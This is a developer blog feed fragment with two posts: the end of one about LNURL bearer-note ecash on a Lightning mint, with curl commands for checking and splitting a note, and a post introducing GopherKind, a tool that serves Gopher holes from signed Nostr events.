&lt;th&gt;Card&lt;/th&gt;
&lt;th&gt;This&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Smallest sensible charge&lt;/td&gt;
&lt;td&gt;about 50p&lt;/td&gt;
&lt;td&gt;1 sat, a twentieth of a penny&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fee on a 21 sat call&lt;/td&gt;
&lt;td&gt;not possible&lt;/td&gt;
&lt;td&gt;3 sats, and falling fast with size&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Time to first payment&lt;/td&gt;
&lt;td&gt;days, after KYC&lt;/td&gt;
&lt;td&gt;minutes, no account anywhere&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What the seller signs up for&lt;/td&gt;
&lt;td&gt;merchant account, bank, identity&lt;/td&gt;
&lt;td&gt;&lt;code&gt;npm install&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What the buyer signs up for&lt;/td&gt;
&lt;td&gt;card, billing address, name&lt;/td&gt;
&lt;td&gt;nothing. they hold a string&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Chargebacks&lt;/td&gt;
&lt;td&gt;120 days of exposure&lt;/td&gt;
&lt;td&gt;none. payments are final&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Settlement&lt;/td&gt;
&lt;td&gt;T+2&lt;/td&gt;
&lt;td&gt;seconds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Who can be a customer&lt;/td&gt;
&lt;td&gt;humans with legal identity&lt;/td&gt;
&lt;td&gt;anything that can make an HTTP request&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Yes, 3 sats on a 21 sat payment is 14%, a worse &lt;em&gt;percentage&lt;/em&gt; than any card, and also a fee on a transaction the card network cannot process at any price. It collapses as the amount grows: a real 4,900 sat melt cost 0.22%. Fixed costs dominate at the bottom and vanish above it, the opposite shape to a 20p floor that never moves.&lt;/p&gt;

&lt;p&gt;The row I care about most is the last one. Every rail before this one required the buyer to be a person, or to borrow a person's credentials. Software could not have a bank account, so it was given API keys belonging to someone who did. A bearer note is the first thing on this list a program can simply &lt;em&gt;have&lt;/em&gt;, and the reason your API can sell to a customer that will never fill in a form.&lt;/p&gt;

&lt;h2&gt;
  
  
  The honest limits
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The mint is custodial.&lt;/strong&gt; A bearer note is a claim on my node. If it burns down, your note is a string that no longer means anything. Mint 100 sats, not 100,000.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The mint is young, and your wallet may not find it.&lt;/strong&gt; Two channels, days old. Some wallets pay it first time; one large custodial wallet timed out in pathfinding without ever trying the mint's channels. Reachability, not liquidity. If minting fails, try a different wallet before assuming anything is broken.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The spec is a draft.&lt;/strong&gt; &lt;a href="https://github.com/lnurl/luds/pull/301" rel="noopener noreferrer"&gt;LUD-25&lt;/a&gt; is an open PR. Things will change, and some of the changing is me sending fixes upstream.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The secret travels in the URL.&lt;/strong&gt; Every operation is &lt;code&gt;?k1=&amp;lt;the money&amp;gt;&lt;/code&gt;, and query strings turn up in shell history, browser history, and access logs. Treat a note as a password that has to be sent as a GET parameter, because that is exactly what it is.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A copy is a spend, and it spends the whole note.&lt;/strong&gt; The loser of the race loses the lot, because the change is minted under the winner's secret. Rotate after minting, and treat every local balance as a cache the mint is free to contradict.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The melt is asynchronous, and the verify URL is the receipt.&lt;/strong&gt; The mint pays in the background, usually in seconds, once in a minute. Stop polling too early and the payment still lands but the preimage that proves it lives only behind that URL. Store it next to the note, not in a local variable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;This is a demo.&lt;/strong&gt; &lt;code&gt;pay.mjs&lt;/code&gt; fits in a blog post because it leaves out crash safety. Use the real client for anything that matters.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The short version
&lt;/h2&gt;

&lt;p&gt;Imagine money that works like a magic word. There is a piggy bank on the internet that gives the money inside to the first person who says the word. No names anywhere, so giving someone the money is just whispering the word to them, and the whisper is the whole handing over.&lt;/p&gt;

&lt;p&gt;If I whisper it to you and secretly remember it, we both know the word, and whichever of us says it to the piggy bank first gets everything. The slow one gets nothing. So giving this money away means properly forgetting it, like passing a parcel you cannot keep a corner of.&lt;/p&gt;

&lt;p&gt;Spending is odd too. No coins come back. You think up a brand new word for whatever is left, and you tell the piggy bank only the word's fingerprint, a scramble that cannot be run backwards, the way a smoothie does not turn back into strawberries. The bank can recognise the word when it hears it, but it never hears it early, and the old word stops working forever. Every time you spend, your money gets a new name that only you have ever said.&lt;/p&gt;

&lt;p&gt;And you can give the word to a robot. The robot can buy things all by itself, and it can never spend more than the word is worth, however cleverly it asks, because there is no more money inside the word.&lt;/p&gt;

&lt;p&gt;For a while this post carried a link to a magic word, drawn as a square code a camera can read and written as letters a computer can read. It was not a picture of the money. It was the money. When somebody took it, the piggy bank put up a new word the next morning. That run has finished now.&lt;/p&gt;

&lt;h2&gt;
  
  
  There was some money
&lt;/h2&gt;

&lt;p&gt;This post ran a faucet: one live bearer note on display, drawn up as the banknote it genuinely is. Not a voucher, not a code to redeem, not a referral scheme. Whoever took it held the value, and when it went a fresh note replaced it the next morning.&lt;/p&gt;

&lt;p&gt;That run has finished, and the mint behind it is winding down. The page shows a spent plate now. What the faucet was demonstrating is below, and none of it depended on the faucet: it works against any LNURLcash mint.&lt;/p&gt;

&lt;h3&gt;
  
  
  Scanning a note
&lt;/h3&gt;

&lt;p&gt;Point any Lightning wallet at a note's QR. Zeus, Phoenix, Alby, Wallet of Satoshi, they all speak this, because a note's withdraw URL is an ordinary &lt;a href="https://github.com/lnurl/luds/blob/luds/03.md" rel="noopener noreferrer"&gt;LUD-03&lt;/a&gt; &lt;code&gt;withdrawRequest&lt;/code&gt; and the QR is that URL in a form a camera can read. Your wallet hands the mint an invoice, the mint pays it, the row is marked spent. That is a melt, the same operation Part 3 used to buy a dice roll.&lt;/p&gt;

&lt;h3&gt;
  
  
  Or take it with the secret word
&lt;/h3&gt;

&lt;p&gt;Withdrawing moves the money into a wallet. If you would rather &lt;em&gt;hold&lt;/em&gt; it, as a bearer note under a secret only you know, you never need a wallet at any point. The faucet served its secret as base64 rather than raw hex, so a scraper grepping the wire for 64 hex characters found nothing. That encoding was never security. It bought humans a head start over the laziest bots, nothing more.&lt;/p&gt;

&lt;p&gt;With a note's secret in hand, ask the mint what it is worth:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;NOTE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&amp;lt;the 64 hex characters of a note you hold&amp;gt;

curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://moneyer.dev/w?k1=&lt;/span&gt;&lt;span class="nv"&gt;$NOTE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A live note answers with its value in millisatoshis. A dead one says &lt;code&gt;Note already spent.&lt;/code&gt;, which means it has been claimed. That is not the demo failing. That is the demo.&lt;/p&gt;

&lt;p&gt;To take it, split it into secrets only you know. No wallet, no account, no signup, nothing beyond what is already on your machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;VALUE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&amp;lt;the msat number the mint just gave you&amp;gt;
&lt;span class="nv"&gt;TAKE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;VALUE &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;          &lt;span class="c"&gt;# or all but 1001 msat, if you want the lot&lt;/span&gt;

&lt;span class="nv"&gt;NEW&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;openssl rand &lt;span class="nt"&gt;-hex&lt;/span&gt; 32&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;OTHER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;openssl rand &lt;span class="nt"&gt;-hex&lt;/span&gt; 32&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$NEW&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OTHER&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;   &lt;span class="c"&gt;# WRITE THESE DOWN BEFORE RUNNING THE NEXT LINE&lt;/span&gt;
&lt;span class="nv"&gt;H&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; %s &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$NEW&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;    | xxd &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; | openssl dgst &lt;span class="nt"&gt;-sha256&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt; &lt;span class="nt"&gt;-f1&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;H2&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; %s &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OTHER&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | xxd &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; | openssl dgst &lt;span class="nt"&gt;-sha256&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt; &lt;span class="nt"&gt;-f1&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://moneyer.dev/w/cb?k1=&lt;/span&gt;&lt;span class="nv"&gt;$NOTE&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;amount=&lt;/span&gt;&lt;span class="nv"&gt;$TAKE&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;h=&lt;/span&gt;&lt;span class="nv"&gt;$H&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;h2=&lt;/span&gt;&lt;span class="nv"&gt;$H2&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;{"status":"OK"}&lt;/code&gt; and it is yours, held now as two notes the mint knows only by their hashes. That is the whole ceremony for taking custody of money on the internet: two random numbers and a GET. The 1 sat split fee is the only cost, and you never told anyone your name. You did show the mint an IP address, so call it pseudonymous rather than anonymous.&lt;/p&gt;

&lt;p&gt;The warning in that snippet is not decoration. If the request goes out and those secrets have not reached your disk, the money is gone and nobody can recover it. Not me, not the mint, nobody.&lt;/p&gt;

&lt;p&gt;When you want ordinary sats instead, hand the mint an invoice from any wallet at the same withdraw callback, which is the melt from Part 3. Or spend it straight at an L402 API and skip the wallet entirely, which was the point.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Mint: &lt;a href="https://moneyer.dev" rel="noopener noreferrer"&gt;moneyer.dev&lt;/a&gt; (experimental, evaluation only)&lt;/li&gt;
&lt;li&gt;Wallet: &lt;a href="https://dni.github.io/lnurl-wallet" rel="noopener noreferrer"&gt;dni.github.io/lnurl-wallet&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Spec and mint implementation: &lt;a href="https://github.com/dni/lnurl-mint" rel="noopener noreferrer"&gt;dni/lnurl-mint&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Paywall middleware: &lt;a href="https://github.com/forgesworn/toll-booth" rel="noopener noreferrer"&gt;forgesworn/toll-booth&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Agent client: &lt;a href="https://github.com/forgesworn/402-mcp" rel="noopener noreferrer"&gt;402-mcp&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you build something with it, or if a note of yours goes missing, tell me. Both are useful at this stage.&lt;/p&gt;

</description>
      <category>showdev</category>
      <category>bitcoin</category>
      <category>ai</category>
      <category>node</category>
    </item>
    <item>
      <title>I put Gopher on Nostr. Now every npub is a gopherhole</title>
      <dc:creator>The Crypto Donkey</dc:creator>
      <pubDate>Mon, 10 Aug 2026 22:46:15 +0000</pubDate>
      <link>https://dev.to/thecryptodonkey/i-put-gopher-on-nostr-now-every-npub-is-a-gopherhole-ahh</link>
      <guid>https://dev.to/thecryptodonkey/i-put-gopher-on-nostr-now-every-npub-is-a-gopherhole-ahh</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;I've built &lt;a href="https://github.com/forgesworn/gopherkind" rel="noopener noreferrer"&gt;GopherKind&lt;/a&gt;, a publisher and reader for gopherholes stored as signed Nostr events.&lt;/p&gt;

&lt;p&gt;Every Nostr public key already works as a hole.  GopherKind turns the account's profile, notes, replies, long-form articles, and the follows and followers visible through its relays into ordinary Gopher menus and text.  An author can then publish proper path-addressed pages as kind &lt;code&gt;31436&lt;/code&gt; events, and those pages take over the same hole.&lt;/p&gt;

&lt;p&gt;The same content is readable through Gopher, Gemini, the web and a terminal.  Reading needs no account.  The CLI publisher uses a NIP-46 remote signer, and GopherKind refuses raw secret keys completely.&lt;/p&gt;

&lt;p&gt;Try the idea before reading the explanation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx gopherkind why
npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;darren@600.wtf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is also a &lt;a href="https://gopherkind.com/" rel="noopener noreferrer"&gt;live bridge&lt;/a&gt; if installing something to find out what it does feels a bit backwards.&lt;/p&gt;

&lt;h2&gt;
  
  
  I don't think an old protocol is interesting just because it is old
&lt;/h2&gt;

&lt;p&gt;Some old protocols deserve their quiet retirement.  Gopher isn't one of them.&lt;/p&gt;

&lt;p&gt;Gopher got one thing very right in 1991: it separates information from interface.  A hole is menus and text.  The client decides how those things look, navigation works the same everywhere, and there is very little available for a publisher to use against the reader.&lt;/p&gt;

&lt;p&gt;No cookie banner.  No consent platform.  No autoplay.  No infinite scroll trying to trick me into donating another hour of my life.&lt;/p&gt;

&lt;p&gt;Cameron Kaiser's essay on why Gopher is still relevant makes the argument properly.  GopherKind can read it directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;gopher://gopher.floodgap.com/0/gopher/relevance.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A site has to stand on what it says because there isn't much glitz available to hide behind.&lt;/p&gt;

&lt;p&gt;I like that.  I don't especially like the structural weakness that comes with it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Holes die
&lt;/h2&gt;

&lt;p&gt;In &lt;a href="https://www.rfc-editor.org/rfc/rfc1436" rel="noopener noreferrer"&gt;RFC 1436&lt;/a&gt;, a gopherhole is a host.  The writing depends on the hobby box under someone's desk, its power supply, a domain registration and the person who still remembers how it was configured.&lt;/p&gt;

&lt;p&gt;When that box disappears, the hole disappears with it.  Copying the files elsewhere can preserve the bytes, but Gopher has no idea who wrote them.  There is no authorship in the protocol and nothing in the document that survives the hostname.&lt;/p&gt;

&lt;p&gt;Nostr has almost exactly the missing pieces.  Identity is a public key, events are signed, and an author can put copies on more than one relay.  The signature stays with the document regardless of which relay or bridge served it.&lt;/p&gt;

&lt;p&gt;That was too exact a fit to ignore.&lt;/p&gt;

&lt;h2&gt;
  
  
  A gopher document as a Nostr event
&lt;/h2&gt;

&lt;p&gt;GopherKind defines one addressable event kind, &lt;code&gt;31436&lt;/code&gt;, numbered after RFC 1436.  One event is one text document at one path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"kind"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;31436&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tags"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"d"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/phlog/hello.txt"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"title"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Hello from my hole"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Hello gopherspace.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;d&lt;/code&gt; tag is the exact path.  Type &lt;code&gt;0&lt;/code&gt; is plain text.  Type &lt;code&gt;1&lt;/code&gt; is a menu written as a &lt;code&gt;kindmap&lt;/code&gt;, which is a normal gophermap with the host and port columns removed because the document no longer belongs to a host.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Welcome to my hole

0About me   /about.txt
1Phlog  /phlog
1A friend's hole    npub1friend...
hMy website https://example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Kind &lt;code&gt;31436&lt;/code&gt; is addressable, so publishing a newer event with the same public key and path replaces that page.  The link doesn't change and the rest of the hole doesn't need to be rebuilt.&lt;/p&gt;

&lt;p&gt;The complete format is deliberately small.  Paths, replacement selection, expiry, deletion, menu parsing and test vectors are in the &lt;a href="https://github.com/forgesworn/gopherkind/blob/main/SPEC.md" rel="noopener noreferrer"&gt;proposed specification&lt;/a&gt;.  The proposal is also open as &lt;a href="https://github.com/nostr-protocol/nips/pull/2429" rel="noopener noreferrer"&gt;nostr-protocol/nips PR #2429&lt;/a&gt;.  It is a proposal, not an accepted NIP, and I won't pretend otherwise.&lt;/p&gt;

&lt;h2&gt;
  
  
  Every npub is already a hole
&lt;/h2&gt;

&lt;p&gt;This is the part I find most interesting.&lt;/p&gt;

&lt;p&gt;A Nostr user doesn't need to publish any kind &lt;code&gt;31436&lt;/code&gt; events before GopherKind can read their hole.  When an authored document isn't present, it generates a virtual structure from events the account already has:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/
/profile.txt
/notes
/replies
/mentions
/articles
/follows
/followers
/feed.xml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notes become a phlog.  NIP-23 long-form articles become text pages.  Available follows and followers become menus, and threads are navigable without reconstructing the conversation from a flat timeline.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;npub1...
npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;npub1.../notes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An authored kind &lt;code&gt;31436&lt;/code&gt; page wins when it uses the same path, so turning the generated hole into your own space is just publishing.  There is no migration ceremony and no new identity to create.&lt;/p&gt;

&lt;p&gt;Nostr clients are generally built around the scroll.  A note appears, moves down the timeline and is effectively buried.  Gopher has the opposite temperament.  A menu stays where the author put it and nothing on the screen is bidding for attention.&lt;/p&gt;

&lt;p&gt;The two protocols cover each other's awkward bits surprisingly well.&lt;/p&gt;

&lt;h2&gt;
  
  
  You don't have to type the npub
&lt;/h2&gt;

&lt;p&gt;An npub is the durable identity, but it isn't a particularly friendly address to give somebody.  GopherKind accepts NIP-05 names anywhere it accepts a hole target, including a path after the name:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;darren@600.wtf
npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;darren@600.wtf/notes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;darren@600.wtf&lt;/code&gt; currently resolves to &lt;code&gt;npub1mgvlrnf5hm9yf0n5mf9nqmvarhvxkc6remu5ec3vf8r0txqkuk7su0e7q2&lt;/code&gt;, then GopherKind reads the signed events for that public key.  The &lt;a href="https://gopherkind.com/go?npub=darren%40600.wtf" rel="noopener noreferrer"&gt;live bridge does the same thing&lt;/a&gt;, redirecting the friendly name to the canonical npub path before it renders the hole.&lt;/p&gt;

&lt;p&gt;That distinction matters.  NIP-05 is a human-readable way in, controlled by the domain.  It is not the document identity.  If the domain owner changes where that name points tomorrow, the existing documents do not silently acquire a new author.  Their signatures still belong to the original public key.&lt;/p&gt;

&lt;h2&gt;
  
  
  Publishing a hole
&lt;/h2&gt;

&lt;p&gt;A hole on disk is just a directory of text and menu files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;my-hole/
|-- index.map
|-- about.txt
`-- phlog/
    |-- index.map
    `-- 2026-08-10-hello.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Publishing goes through a NIP-46 signer you already control.  GopherKind never asks for an &lt;code&gt;nsec&lt;/code&gt;, never generates one, and refuses a raw secret key if you try to give it one.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--global&lt;/span&gt; gopherkind

gopherkind pair &lt;span class="s1"&gt;'bunker://...'&lt;/span&gt;
gopherkind publish ./my-hole &lt;span class="nt"&gt;--dry-run&lt;/span&gt;
gopherkind publish ./my-hole
gopherkind inspect npub1...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The publisher discovers the author's NIP-65 write relays, publishes to their union with the configured relays, and reads every document back.  Relay acceptance and successful read-back are reported separately because an &lt;code&gt;OK&lt;/code&gt; response is not evidence that a reader can retrieve the event later.&lt;/p&gt;

&lt;p&gt;When the relays can report their current state, editing one page signs one changed document.  If they can't be queried, GopherKind republishes everything because not knowing what is there is not the same as knowing it is current.  &lt;code&gt;gopherkind export&lt;/code&gt; recovers a relay-held hole into editable files, including a manifest that preserves exact paths which filenames can't safely represent.&lt;/p&gt;

&lt;p&gt;That gives me a useful recovery loop:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gopherkind inspect npub1...
gopherkind &lt;span class="nb"&gt;export &lt;/span&gt;npub1... ./recovered-hole
gopherkind publish ./recovered-hole
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;inspect&lt;/code&gt; proves what is retrievable now.  It does not prove a relay will keep it next year.  That distinction matters.&lt;/p&gt;

&lt;h2&gt;
  
  
  One set of events, four ways in
&lt;/h2&gt;

&lt;p&gt;GopherKind can read the relay-held events directly from the command line, or a bridge can expose them over three frontends:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;signed kind 31436 events on Nostr relays
        |                 |
        |                 `--&amp;gt; terminal
        |
        `--&amp;gt; bridge --&amp;gt; Gopher
                   |--&amp;gt; Gemini
                   `--&amp;gt; HTTP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The public reference bridge is available at:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gopherkind.com/" rel="noopener noreferrer"&gt;https://gopherkind.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gopher://gopherkind.com/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gemini://gopherkind.com/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The bridge doesn't own the hole.  It is one route to signed events held by relays.  Run another compatible bridge and it can serve the same documents, or skip bridges completely and read the relays from the CLI.&lt;/p&gt;

&lt;p&gt;That is the important difference from putting a Gopher frontend in front of another website.  There is no origin website hiding behind it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The honest limits
&lt;/h2&gt;

&lt;p&gt;This would be very easy to oversell, so here are the boundaries.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Relays are not archives.&lt;/strong&gt;  Publishing copies to several relays removes one host as the single point of failure.  It doesn't guarantee that any relay will retain an event forever.  Keep an export and check retrievability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Deletion is a request.&lt;/strong&gt;  NIP-09 asks relays to remove an event.  A relay can ignore it, and another client may already have a copy.  NIP-40 expiry tells a compliant bridge not to serve an expired event, but it is not a durable tombstone for older revisions a relay still holds.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A bridge is still a server.&lt;/strong&gt;  It can go down.  The point is that it isn't the one server carrying the only copy of the writing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Gopher is plaintext and unauthenticated.&lt;/strong&gt;  Network Gopher is permanently read-only in GopherKind.  Writing happens through the terminal, HTTP or Gemini with a signer the author controls.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kind &lt;code&gt;31436&lt;/code&gt; is still proposed.&lt;/strong&gt;  The implementation and conformance vectors exist today.  Acceptance into the NIPs repository does not.&lt;/p&gt;

&lt;p&gt;Those aren't small-print caveats.  They are part of deciding whether this is useful for something you care about.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;GopherKind is open source, MIT licensed and still deliberately below &lt;code&gt;1.0.0&lt;/code&gt;.  It needs Node 24 or newer.&lt;/p&gt;

&lt;p&gt;Reading costs no identity and changes nothing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx gopherkind why
npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;darren@600.wtf
